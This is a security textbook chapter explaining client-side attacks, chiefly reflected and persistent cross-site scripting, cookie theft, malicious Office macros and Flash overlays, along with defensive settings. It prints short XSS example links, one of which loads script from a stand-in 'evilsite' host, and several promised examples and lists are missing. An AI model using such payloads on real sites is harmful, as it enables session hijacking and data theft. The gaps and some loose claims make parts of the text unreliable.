Chapter 2
Dissection of a Client-Side Attack
Information in this chapter:
As we have seen in chapter 1 there are many actions that can be used to attack a client system with each possessing the ability to cause harm in its own unique way. With the seemingly endless, and ever increasing, amount of web-enabled applications on everything from mobile devices to desktops the problem becomes even more of a concern for the security professional and an increasing threat for end users and enterprises world-wide.
The key to defending against these attacks is an understanding of exactly how they work, specifically knowing how one occurs and identifying the components and conditions that make it possible. In this chapter we will discuss what it takes to carry out one of these attacks and what vulnerabilities make this attack possible.
After we understand this attack we will explore how it affects some of the various applications that are found on the desktop. Understanding the vulnerabilities and how they are present on the various web-enabled applications will also provide you with insight into the scope of the threat and how to defend client systems.
What Constitutes a Client-Side Attack?
In the previous chapter we compared and contrasted client-side attacks with their well-known cousin the server-side attack. In the previous chapter we also introduced a sampling of the different types of client-side attacks to provide a more accurate picture of some of the tools in an attacker’s toolbox (and the attacks presented was indeed just a small sampling). Let us now take a closer look at some examples of how client-side attacks work and cover some specific instances where they could cause harm.
First, just to review and ensure you understand the differences between client-side and server-side attacks, Table 2.1 is provided to illustrate the key points that differentiate the two.
Table 2.1 Differences Between Client-Side and Server-Side Attacks
| Client-Side | Server-Side | |
| Targets users (clients, desktops, desktop applications) | X | |
| Targets servers | X | |
| Targets applications | X | X |
| Exploits the client communication process | X | |
| Exploits vulnerabilities in applications | X | X |
Again, it is important to remember that the choice between server-side and client-side attacks can be made based on a number of different reasons, not all of which are included here. A general rule of thumb to remember is that when a client-side attack takes place, it’s generally used to exploit the client. When a server-side attack takes place its purpose is to exploit the server. Depending on where the application is hosted (generally on the server), it will be a combination of server-side and client-side attacks.
Did You Know?
There really isn’t any definitive list of the types of attacks an attacker may use against a client as the only limit is the attacker’s own creativity and skills. In fact care should be taken that you do not automatically think that an attacker is limited to just the attacks discussed in this book as they may rework existing attacks, combine existing attacks, or even form hybrid attack methods to accomplish their goals. In fact it is even possible (and likely) that an attacker may combine server and client-side attacks to accomplish their attacks as needed. Understanding the most common attacks and how they work will give you the toolset needed to accurately analyze an attack and mitigate it no matter where it originates from or what the target it is.
Initiating an Attack: A Look at Cross-Site Scripting (XSS)
As mentioned in chapter 1, cross-site scripting (XSS) is one of the most commonly seen attacks found today. Although we looked at it in chapter 1, there is much more to understand about it in order to protect against it. There are multiple types of XSS. Now that we have had a chance to learn about it, let’s look deeper into it to dissect it. Reflective XSS is when an attacker initiates an attack and gets a “reflexive” response. For example, if an attacker sends a you an email or you visit a website and click on a link where you run a malicious script. The result is the script reflects back to the victims web browser. This script is run within the trust of the client-side victims system. Persistent XSS is based more on the persistent nature of cookies and the storing-nature of systems. The end results is the same, the script is run within the trust of the client-side victims system.
XSS is one of the older types of attacks that can be targeted towards a client system and the web browser specifically.
To understand XSS let us first examine the web and hosting environment that exists today and how it leads, or can lead, to the attack known as Cross-Site Scripting. In the early days of the Internet the majority of web sites were static in nature meaning that they presented one view of the information requested. In this model the format of the content was not changed nor was an interaction allowed meaning that the experience was very much unchanging. The web in its current state, as we know it today, is very much dynamic in nature meaning that the data that is requested by a client can change “shape,” form, and be interacted with by the client in their browser. This dynamic nature also means that content can be tailored to a specific user’s browser and system configuration. Dynamic means that web sites, pages and content will generate for the user when accessed or when being used by the user. Web 2.0 builds upon the principals of dynamic content as such content is generally shared across web sites, application servers and N-Tier systems.
Note
Don’t be fooled by all the dynamic content you observe on the web today and assume that all content is dynamic even though it may seem so. The web still has plenty of web pages and other content that is strictly static and utilizes no scripting, is not using shared content or other means to customize the user’s experience. Conversely don’t assume that just because a web-page doesn’t specially format a page or allow interaction it is static, some scripting may still be done in the background that you cannot observe directly. As we will learn in upcoming chapters, you can learn about the pages you are using and viewing by viewing the source code within the page which helps you understand what type of content you are using and viewing. This can be done directly from the web browser. You can also get clues from the URLs visited as some will list out CGI or other directional information that help you learn more about the content viewed and used.
Dynamic content in most web sites are added and processed in different ways depending on the way the developer designed them and the environment that is present. In most cases dynamic content is generated on the server by a process and delivered to the client in response to a request. Figure 2.1 gives a conceptual view of this interaction.
Figure 2.1 The Client Server Interaction
In Figure 2.1, we see the client/server interaction in detail:
1. The end user wants to access a web site (web content) via his or her web browser.
2. The end user visits a site over the public Internet and visits the front-end web server.
3. The web server may pull content from another server or servers, such as a database server.
4. The end user can also visit multiple sites depending on what the page is coded to do, so he or she may visit both web servers from one web page. One web server may pull content from both another web server, application server and database server in house or across the web.
5. An attacker stands ready to maliciously attack the end user, or any of the servers listed within this example.
When a browser receives any type of content from the web server it is the browsers responsibility to process the request and render the output on the user’s screen. If the response coming from the web server happens to be strictly HTML and nothing else (such as XML, JavaScript, or other) the result displayed onscreen is very straightforward and the recipient will get something that is exactly what or very close to what the designer wanted. On the other hand if dynamic content is used things get very interesting as many variables are introduced that make the situation harder to control and predict. A designer who creates a web page or site that is based on dynamic content must try to anticipate as best as possible the possible environments that may exist on the client systems that will access the content. Because of this, not all dynamic content will be rendered correctly (or safely) depending on different variables such as outdated web browsers, missing plug-ins and so on. Adding the final layer to this problem, and of the biggest concern to us, is the fact that during this process it is possible for untrusted or foreign content to be introduced into the process and therefore run at the same level of trust as all the other code on the web page. If this last little detail were to take place during client and server interaction it is very possible and likely that the untrusted code would run completely undetected by either the client or server.
Warning
Once untrusted code is injected and run within the same context as trusted code it is unlikely that a client or server can or would detect or much less prevent the worst from happening. In fact according to research gathered by CERT (http://www.cert.org/) this has been the primary danger with dynamic content and the impetus for taking protective measures as appropriate. Protective measures must be implemented so as to absolutely separate and outright compartmentalize trusted and untrusted code into their own security contexts at all times.
An example of a well-known and reasonably common attack is one that is experienced in discussion groups in years past. In this attack an aggressor would place a posting on a discussion group that had malicious HTML tags embedded into it. When this posting is accessed by another user the tags would be interpreted by the victim’s browser and the attack as designed would take place. So what was in these tags, or could be in these tags? Consider the following simple code as an example:
I have a problem with my graphics card and Starcraft 2 could anyone help me with this problem? The link below shows an example of the problem for you to review. After 20 minutes of play I get this error on my computer. Any help would be appreciated.
In this example the message has embedded script tags in it that would execute when the message is accessed by the victim. Anyone clicking on this message will have their browser process the code between the <SCRIPT> tags causing something to happen that may not be in the best interest of the victim. Of course if the message looked like what we see in this example the user could just make a mental note not to click on or access this message, so why do they still become victims? What will the victim see in this case? Well the victim would see the message similar to the following:
I have a problem with my graphics card and Starcraft 2 could anyone help me with this problem? After 20 minutes of play I get this error on my computer. Any help would be appreciated.
Note that the script does not appear in the message, this is because the <SCRIPT> tag is not rendered into a visual format by the browser, in other words the user doesn’t see it. If the danger is not visible or readily obvious it becomes very easy for a user to become a victim. Since you only need to “visit” the page to execute the script, it is far more dangerous.
Note
Scripting tags that can be embedded in this way include <SCRIPT>, <OBJECT>, <APPLET>, and <EMBED>. Each of these tags shares the characteristic of enabling active code in the browser as well as being tags that are not rendered on screen, but present content that changes based on the environment.
In discussion groups that are hosted on servers that have modern protective measures put in place this attack may not be possible as modern software, on the server-side, will block this type of posting from occurring. Specifically modern software will disallow the use of certain types of tags in postings thereby stopping this attack before it starts. In other cases the server will not block the code from being posted, but will filter it or perform special encoding on it to prevent the threat from becoming an issue. To protect from the client-side, you may want to only visit sites that are modern or trusted and steer away from clicking on links of this type if and when they are presented to you.
Warning
Remember the old adage about what happens when you assume something? This saying holds true here in this example. Do not assume that a server has protection that it is deploying to protect you against these types of attacks as the system may not be doing so. Also remember that even if the manufacturer of the server software provides features designed to protect users it is up to the server administrator to understand the threats and what features are available to mitigate the threat.
You can lead a horse to water, but you can’t make him drink much like you can provide the tools to a system administrator, but they don’t have to use them.
An interesting variation of the above cited attack is one where the attack is actually perpetrated by the client on the client itself. Yes, you read that right, the client is attacking itself via activating a link posted someplace or perhaps sent via an email. The problem here is that web sites typically do not provide safeguards that prevent a client from sending or processing malicious data that is intended to target the client itself.
Typically this scenario plays out when a client or victim is induced into clicking on or accessing a page that would be considered untrustworthy. Examine the following link for a moment:
<A HREF=“http://tarsonis.com/comment.cgi?bleck=<SCRIPT>malicious code</SCRIPT>”> Click here</A>
Any client clicking on the code shown here would have the following steps happen:
1. User goes to tarsonis.com and accesses the malicious code comment.cgi.
2. The web server responds by sending a page back with whatever the value of “bleck” contains.
Other tags can also be a cause for concern:
The <FORM> tag could be used in a client-side attack. Under the right conditions <FORM> tags could be embedded in a page and present an interface that tricks the user into disclosing information that should be kept private.
Other tags such as <onLoad> could be used to perform certain actions when a page is loaded including displaying popups, displaying ads, playing sounds, or any other type of disruptive behaviors.
An example of onLoad would be:
One more example of cross-site scripting builds upon the previous examples and introduces a new twist, code running from two sites:
<A HREF=“http://tarsonis.com/comment.cgi?bleck=<SCRIPT SRC=’http://evilsite/nastydata‘></SCRIPT>”> Click here for a surprise</A>
Take special note in this example of the SRC attribute in the <SCRIPT> tag as it is referencing code from another unknown and therefore untrusted source (evilsite). This example shows a violation of the same-source origination policy which is a security measure that is present in all browser scripting security models in use today. Simply put the same-source origination policy is a security measure that allows pages on the same site to access objects on each other’s pages, but prevent wholesale access to objects across pages on different sites. As we can clearly see if a victim can click on this script and run code from two pages on different sites this violates this security measure.
Note
When looking at these examples we should not forget what makes them both so effective and dangerous; the misuse or abuse of trust. In these examples the attacker has planted or injected script or code into a security context that is trusted already and not providing safeguards to protect. It is, presumably, a site the browser victim is interested in enough to visit and interact with in a trusted fashion already that has been compromised in some way. In addition, the security policy of the legitimate server site tarsonis.com may also be compromised posing other issues that we will not cover in this text as we will focus only on attacks on the client-side and not on the server-side. You can also be redirected to malicious sites via search engines. A common client-side attack is when you install something on your computer (knowingly or unknowingly) that rewrites your default home page and sends you to an engine that resembles what you currently use. Simple Google uses such a simplistic design, many attackers create engines that mirror this design and when you input your requests, sends you to malicious sites or sites that the attacker wants you to go to.
The Net Result
Due to the increased use of dynamic content and the very real risks associated with these technologies attackers have found that cross-site scripting can yield great results. In fact browser manufacturers such as Microsoft, Mozilla, and others have introduced features specifically designed to thwart cross-site scripting, but still have to release advisories regularly warning about new XSS threats.
You can attempt to thwart these types of attacks with the most common security mechanisms we highlighted in chapter 1. Threat prevention starts with detection. Once detected, actions can take place. Obviously, we want to do everything to “prevent” a problem before its detected however attacks do happen. Tools such as software protection, firewalls (specifically web application based firewalls), IPS, and IDS systems can all be bypassed by considering that human error tied with code bugs and other variables always seem viable.
With XSS, you can also do content filtering and signature-based solutions but they can also be thwarted. Remember, what makes an XSS attack so brilliant is that it attacks the target system and designed to methodically bypass common security tools and methods. Because of the fact that XSS manipulates code through injection and encoding tags, traditional systems and methods are not always likely to stop it. XSS injection use regular expressions, HTML and so on. Filtering generally does not capture these threats. We will review other protection methods in later chapters.
Tip
XSS attacks can be quite clever. Since basic HTML is used, “white space, tabbing and carriage returns (enter)” can be used with the formatting principles to inject a payload. Filters can be bypassed simply by using a regular expression to insert, increase or decrease white space, tabbing and carriage returns.
The Threats of Cross-Site Scripting
A wide range of threats are possible with XSS. Let’s examine a handful to illustrate how XSS and, by extension, client-side attacks threaten the users of information and services. Some of the security risks that become an issue when cross-site scripting is used include the following:
Untrusted Scripts: Users can be enticed into unknowingly executing scripts that are provided to them when they have requested content that is dynamic in nature. In this scenario the content has been provided by an attacker for the purpose of compromising the client in some way.
Session Hijacking: In this scenario an attacker takes over an existing session before the user’s session cookies reaches its natural expiration.
Redirection: An attacker redirects the user’s session to a server that is under the control of the attacker.
Other: Other potential scenarios include combining social engineering methods to convince a user to click on or access a URL that has been provided by the attacker. Once a victim has been convinced to access a malicious or unknown URL a script can be downloaded and run on the user’s system compliments of the browser. Consider the danger here; once a script is downloaded to a user’s system via a link it will be running at whatever privilege level the user is currently running at. The result in this case could be nothing less than deadly considering that just about anything could be run on the system given the right conditions.
Did You Know?
Despite all the warnings of System Administrators, IT personnel, and security professionals alike most users tend to run their systems with the highest privileges possible whether they need them or not. Consider the fact that most home users for example run as an Administrator or Root all the time and the problem becomes clear; any script, program, control, and anything else will be run completely unrestricted and able to do whatever they want.
You should try to limit your footprint by not using administrative accounts, hardening your system and locking down your web browser. You should also keep your system up to date with security patches and service packs.
Throughout the book we cover ways to protect your systems. In the last chapter of this book we highlight ways to secure your desktop, applications and yourself to protect against most attacks.
Planning the Attack
To launch an attack using XSS an attacker will need to do a few things to make the attack work, the first being to locate a target. The attacker in this case will generally be looking for a site that hosts some sort of dynamic content that is sent to and processed on the client. Once a potential target is located the attacker will analyze and dissect the server and web site to see if it is vulnerable to a cross-site scripting attack and the exact nature of the vulnerability. Once the vulnerability has been located and dissected the attacker will choose the appropriate language and tool for the job which is typically any one of the following:
Note
Note that all these technologies are specifically designed to be delivered to the browser, executed, and rendered on the client system. Therefore using any one of these languages, scripts, or control types will be an effective way of bypassing the various security mechanisms in a browser and running the content with elevated privileges on a given system.
Using any of these technologies the attacker can use a technique known as injection to plant and run code as desired on a client system. Consider what an injection is allowing an attacker to do which is to introduce foreign code into a process for altering the execution of the normal code. If an attacker can successfully perform the injection they will be able to perform actions such as taking over user accounts, reconfiguring a user’s environment, extracting information from cookies, and much more.
Anatomy of Some Potential Attacks
In the following scenarios we will examine some of the more common attacks that can be performed with XSS. The attacks represented here are meant to illustrate the major, well-known form of the attack and are not intended to represent every possible variation of the attack itself. You should however come away with a good sense of how these attacks work and the relative dangers of each.
By exploiting XSS vulnerabilities, there are a wide range of attacks that can take place. Account Hijacking can take place. Your system can be exploited and used by the attacker. The attacker can also use your web browsers cookies, browser history and the clipboard (memory) contents to access and ascertain information. The web browser can be corrupted and used as a tool by the attacker, and if so, taken over even by remote control. When your system is taken over by the attacker, such said attacker can use your system to glean more information such as scanning the network to acquire address space and find more hosts. The attacker can also spread malware throughout your network. Again, this is commonly done by XSS taking advantage of un-validated input used with web applications and services and or with non-HTML encoded output.
Theft of Information in User Cookies
With Persistent XSS, Cookies can be used to initiate attacks. Cookies, we all know about them and their use which is to store information about the user, their session with a website, and other information which can and does vary on a site-by-site basis. The information stored in a cookie represents an attractive target for an attacker and is accessible using XSS. To access a cookie using XSS an attacker can create or alter a web page on a site with an embedded script that is designed to extract information from cookies. A victim visiting this page will get the page sent to their browser which will render the page and execute the script allowing their information to be stolen. Figure 2.2 illustrates the process of cookies being stolen and results returned via script.
Figure 2.2 Using Persistent XSS and Cookies
As seen in Figure 2.2, there are three components to this attack:
1. The client accesses a web site that the hacker has infected or controls.
2. The web server interacts with the client by using a series of scripts that enable the attacker to gain access or control.
3. The attacker then attacks the client with the gained data, in this example data mined from cookies.
Note
A cookie is a packet of information sent from a server to a client’s web browser and then sent back by the browser each time it visits that server. Cookies are used for user authentication, user tracking, and maintaining user-specific information such as site preferences and electronic shopping carts. Cookies can and should be set to be encrypted, expire, and only be read by certain mechanisms, but this is not always the case which makes the attack explained here possible.
All major web browsers allow users to decide whether to accept cookies, but rejection makes some Web sites unusable. For example, shopping baskets and web mail implemented using cookies typically will not work if cookies are rejected by the browser.
Cookies are a very common item to use when using the web and most sites use them in some way to display everything from advertising to tracking user actions and storing information. The process of creating and managing cookies is something that is inherent in every browser on the market and as such is something that a security professional must learn to accept and deal with appropriately.
So how does a cookie get on a system in the first place exactly, well simple, the server puts it there via an HTTP call like the following:
Set-Cookie: PREF=ID=6badbe492bad4u60:TM=1073216819:LM=1073216819:S;
expires=Sun, 17-Jan-2038 19:14:07 GMT; path=/; domain=.hyrule.com
Transfer-Encoding: chunked Date: Mon, 19 Jan 2004 16:40:19 GMT
In this example the domain, in this case hyrule.com, has sent a cookie to the client with parameters stating when it was placed there and when it will expire. This cookie will be sent by the browser whenever it attempts to connect to any resource within the hyule.com domain. This is done by the following http call.
GET /search?hl=en&lr=&ie=UTF-8&oe=UTF-8&q=babble HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, ∗/∗
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.0.3705)
Host:www.hyrule.com
Cookie: PREF=ID=6badbe492bad4u60:TM=1055825476:LM=1055825476:S
In this example the cookie is sent to the server when the browser connects to the hyrule.com domain.
We could say that if any component, page, or other aspect of a web site collects or uses cookies this attack can occur, but the reality is the vast majority of web pages use cookies and this attack is just a matter of putting in the effort. An attacker need only find a vulnerable web site or induce the victim to visit a site that has been compromised or a site the attacker controls to cause this to be an issue. So what type of information may an attacker obtain using this process to gain information from cookies? Well the possibilities are endless, but include:
Note
Cookies are a good example of why an attacker may choose to attack a client instead of a server. Since cookies will not exist on a server and will be different on every client system it becomes necessary for an attacker to turn their attacks towards the client instead to gain the information found in a cookie. You should always keep examples like this in mind when determining potential attacks as knowing why an attacker may focus on the server versus a client and will help you determine your protection considerations and countermeasures later.
It is worth making a quick comment here explaining that cookies are not an “evil” or dangerous technology to be avoided, quite the opposite in fact. They are mandatory for sites, but that is because they are trying to make your life easier. A great way to look at security practices is to consider “usability” vs. “security.” Consider that if we locked down everything we could, in theory, we would not be able to do anything at all. Therefore, we must allow usability. A great example if how firewalls generally allow HTTP through firewalls but use specific tools such as “Websense” and other scanning tools to look at exactly what that traffic is doing.
With cookies, this is the exact same function where usability rules and useful when used properly. Cookies are a very useful technology and can be handled and used safely which is something that we will explore when discussing defenses present in browsers. What sometimes clouds this issues is comments from companies like Microsoft and others that place information on their sites and other public forums stating that cookies can only be accessed by the server that put them there, as we can see this is not true, but not necessarily the end of the world. You do however need to remain vigilant and practice as much security posture as possible so that you in adversely open yourself up to attack. It’s common to juggle these two practices and why applying security can sometimes be difficult.
Sending an Unauthorized or Unknown Request
This form of attack is initiated when a victim is duped into unknowingly executing a script planted by an attacker. In a nutshell this attack is generally carried out by sending an email to a victim and getting them to click on the link, if done correctly the script will appear to have been accessed from a legitimate server and give the attacker access to information in the document and other data that can be sent back to their site or some other location.
Making this attack even worse is that if the script has been designed to provide additional interaction to a trusted server it can post this information to any location on the web site and never alert the user it is doing so.
This becomes even more of an issue when you are sent to a site and asked to enter information. This information when maliciously used can be used against you to harm you, gain access, data or other information.
Note
For those of you familiar with something known as SQL injections on the server-side you may see some similarities between that attack and what is seen here in XSS. Both use injection as an attack medium. The similarities are definitely there, the difference is in what is being targeted namely the server or client. SQL injections also are very specific as they are designed to attack databases on a server using T-SQL whereas XSS can attack or retrieve many different types of info from a client as we have seen. Figure 2.3 shows an example of a typical SQL Injection attack used to compromise the user. It’s done in the following four steps:
Figure 2.3 Using SQL Injection to Compromise a Client
Other Client-Side Attacks
Let’s take a look at another attack that can be successfully carried out against a client using files as an attack vector. There are several features that make files an effective means of breaching security on a desktop such as Microsoft’s Visual Basic for Applications (VBA) or embedded features such as Sun’s Java. Both have scripting flavors such as VBScript and JavaScript respectfully. The features mentioned here are used to automatically carry out tasks such as formatting data or providing interactive or dynamic features to the recipient. The problem with these features is that they can do plenty of other things that give the ability to extract information from a client or compromise the system in some other way.
Let’s examine one of the attacks made possible with VBA. Let’s picture a user retrieving their email as they normally would, this user receives their email and browses through it and finds an email that contains an attachment that comes from a coworker. The user seeing nothing wrong opens the attachment (which we’ll say is a ∗.xlsx file in this case) when the file is opened in Microsoft Office Excel they are prompted to run a macro which is a VBA script. The user, we should say victim now, has now run something on their system that in this case may be reading their address book and resending itself to other people for the process to repeat.
The TrustCenter found within most versions of Microsoft Office applications is a good place to start when you want to protect against these types of attacks. Disable Macro’s in Macro Settings (see Figure 2.4).
Figure 2.4 Securing Macros
Once disabled, you can protect against these types of attacks taking place on the client-side.
In the preceding scenario several things happened that made the attack successful:
The file received was a normal Excel file with nothing that would automatically say it’s malicious as macros are completely acceptable in these types of files. Since the file is normal and well formatted defenses such as anti-virus and anti-spyware would not pick it up, it could potentially be malicious.
The file was received from a user that the victim was familiar with and gave an automatic sense of trust. The problem here is that the person that sent it to them may have been infected the same way this new victim was and in turn sent this email, probably unknowingly, to this new victim.
The user didn’t stop to ask why they were being prompted to run a macro and just ran the process when prompted; if prompted.
The biggest potential problem with files and the attacks that can be carried out with them is that the files will generally not be detected as anything but legitimate and as such pass through all the defenses typically available. Adding to this mix is the fact that several files can be used to do this type of attack including all the Microsoft Office file types as well as others including Portable Document Format (PDF) and HTML.
Another problem that makes attacks of this type dangerous is the fact that the files that can be used to carry this attack out are common and not unusual to be seen in any way. Modern organizations for example would not see anything out of the ordinary if PDF or Microsoft Office files were attached to an email and circulated.
With Adobe Reader X, there are many defenses in place to mitigate security problems. For years, Adobe Reader has been plagued with problems however as more mature versions came to market and security taken seriously, we as security professionals have the ability to trust PDF files more than ever before.
When configuring Adobe Reader, Preferences is where you would configure security settings. In general, when you first install it, the application keeps security at the forefront. You can however add more security configurations to make it even more security. In Figure 2.5, you can see more security features and settings you can configure such as Digital Signatures.
Figure 2.5 Securing Adobe Reader X
Digital Signatures allow for “signed” documents to be used which are considered trusted and/or verifiable.
Security and Enhanced Security are also available that allow you to consider tightening up workflow and allowing for a tie-in with Windows Internet Explorer settings. Figure 2.6 shows the enhanced security settings configurable within Adobe Reader X.
Figure 2.6 Securing Adobe Reader X (Enhanced Security)
Ties directly with Windows Internet Explorer security settings allow for more enhanced security to take place when working with PDFs. Figure 2.7 shows the Microsoft Internet Explorer tie-in to provide an extra layer of security when using Adobe Reader X.
Figure 2.7 Microsoft Internet Explorer Tie-In
Windows Internet Explorer security will be looked at with greater detail in upcoming chapters.
Note
Some organizations have implemented ways of dealing with the problems associated with dynamic content in files namely by blocking the running of macros. In the Microsoft Office suite for example it is possible to block the use of macros and thereby shield the client from attacks to a certain degree.
Lastly another type of attack that is popular and gaining more ground is one that utilizes the ubiquitous technology known as Adobe Flash. Flash, as you are undoubtedly familiar can be used to render a multitude of dynamic content within the context of a browser. Web pages that present everything from movies, animations, quizzes, advertisements, and the all-too-common interstitial are all over the web and increasing. Adobe Flash also has a direct scripting language called ActionScript 3.0. These can be secured by using Flash Player security settings the same way that all other modern tools, languages and applications can.
Let’s focus on this last one as a type of attack has emerged that uses interstitials as their delivery mechanism. Interstitials, first of all are commonly seen in the advertisements that appear as if they are “woven” into a page and run when the page is loaded by the browser. These ads differ from popups as they do not open a separate window they just run in the context of the current page and must be closed to stop them running. In essence an interstitial is running as a layer that is on top of the current page, useful for advertisers that want to present you with information on their latest product, but also useful for those wishing to carry out malicious actions. While an advertiser wants you to see their latest offering an attacker can use the same layering technique to create an “invisible” layer that runs automatically and installs software on your system or looks for specific information such as certain types of files. Consider the fact that Flash is supported by just about every browser on the market, in major use anyway, and you have the potential to hit a large number of clients as an attacker.
Note
Just in case you are wondering this last type of attack is very much in use and has even been reported by news sources such as securityfocus.org as a known security issue. The following excerpt is from a report distributed by the United States Department of Homeland Security (DHS) [1].
Three million bogus YouTube pages discovered.
Security firm Zscaler has discovered nearly 3 million phony YouTube pages, pushing unsuspecting users towards fake anti-virus (AV) downloads. The firm’s network security engineer explained in a blog post that the pages, which have all been indexed by Google, can be found by searching for “Hot Video.” “The fake YouTube video page is covered by an invisible Flash layer and the Flash object automatically redirects the user to a fake AV page,” he explained. The HTML code on the pages includes links to legitimate sites such as Flickr.com, in order to make sure the content is indexed by search engines. The fake AV software is hosted on several domains, and are undetected by most security tools. Google Safe Browsing does not block 90% of these pages in Firefox, while the detection rate among AV vendors is only 11%.
Vulnerabilities that Lead to Client-Side Attacks
So why do client-side attacks succeed and why have they become increasingly part of the hacker and attacker arsenal? The answer is due to a combination of reasons including, but not limited to, presence of defenses as was mentioned previously in chapter one which we will highlight throughout this book. Modern web applications do provide some protection against certain kinds of client-side attacks, but there are always new ones cropping up that can be exploited. The examples used in the previous section, XSS, are a type of client-side and server-side attack that has been around for a long time that has evolved and changed over the years thwarting several attempts to stop them from occurring.
Note
Do not forget the prerequisite to taking advantage of any vulnerability on the client which is that an application must interact with a server in some way. Referring back to XSS we can easily deduce that the attacks discussed are not possible is the browser is not communicating actively with a server. Once this prerequisite is met the next step for an attacker is to set up the attack and attempt to carry it out.
Referring back to chapter one on client-side attacks let’s take a look at each of the vulnerabilities we introduced and see how they can be exploited.
User ignorance: A user’s lack of knowledge can quickly lead to them becoming a victim as they may not recognize the situation they may be putting themselves in. Consider the XSS examples seen in the section “Initiating an Attack: A Look at Cross-Site Scripting,” the average user will most likely not understand nor recognize the symptoms and dangers of this type of attack. In most cases the user will rely on the system to protect them from harm which, as we have seen, may not have the ability to do so.
Note
How many times have you heard the comment from a user that they are safe because they use “Brand X’s” web browser, email client, or operating system? Typically this happens quite a lot in the technology and computing field. There’s a word for people that have this attitude, victims. The reality is that every piece of software, no matter who makes it, is vulnerable to client-side attacks and ignorance or arrogance about it isn’t going to help keep someone safe.
Poor defenses: Browsers still can fall prey to these attacks even though they have been around for a while. Also consider that we used email to send a message containing a link that used XSS which opens up the possibility that any browser protection may be bypassed altogether. Furthermore, applications such as instant messaging software can also have links embedded into a message that once again bypass the protection seen in the browser or other mechanisms.
Note
A great example of a vulnerability seen in email clients and related applications that can lead to an effective client-side attack is the phishing email. These emails are ones that are sent with some sort of message in it that looks attractive and enticing to the recipient. When a recipient receives the phishing email they read the message and are encouraged to click on a link for more information or other reason. Once a user receives this email and clicks on the link contained therein all bets are off and the recipient may now in fact be a victim of any of the attacks discussed above or other ones yet to be discussed such as those performed via ActiveX or Java. Both of these technologies will be covered in more detail in later chapters.
Malicious HTTP requests: Applications that process information from the web open the possibility that they can be sent malicious HTTP requests. Consider how many applications this makes vulnerable, literally any application that is web connected can fall prey to someone sending it a malformed request. Some forms of attacks in this area include HTTP Header Injection and HTTP Response Splitting both of which can lead to XSS attacks.
Lack of maintenance: Let’s face it, the majority of end users fail to timely apply patches and updates if at all. In the past and still true today, patches have added features and fixed vulnerabilities that would lead to client-side attacks, but these patches aren’t any good if they are not applied. Also, there are times where applying a patch of fix can create new problems, holes and security flaws. Once again referring to XSS it is possible to search online through websites such as www.bugtraq.com and Microsoft’s own knowledgebase to see several vulnerabilities that have existed and a number that have been patched. Users outside of enterprise environments still regularly fail to understand that they must apply these fixes and updates lest they make themselves more vulnerable.
Note
Although we covered a myriad of attacks, types and methods, there are many more. Consider that there are many more coding and scripting languages. Flash, Actionscript, PHP, CGI, XML, and the list goes on. Basically, if not covered here or in this book, whatever tools you use or think you may be using should be considered carefully and exploits for each type reviewed carefully.
Summary
In this chapter client-side attacks were discussed in more depth with attacks such as cross-site scripting (XXS). As we observed client-side attacks can extract information or compromise the client in some way whether it is pulling information out of cookie or taking information from a system and using it to target other users. We also saw that with common client-side attacks, defenses are less than effective and may in fact be non-existent making it crucial that we are security professionals take heed and do what we can to educate users, properly security systems, know how to analyze and mitigate attacks and ultimately protect against them if we cannot stop them from happening in the first place.
Reference
1. Wilson T. Number of malware-infected websites tops 1 million mark [Internet]. Dark reading; September 15, 2010. Cited on September 19, 2010. Available from: <http://www.darkreading.com/smb-security/167901073/security/application-security/227400494/index.html>.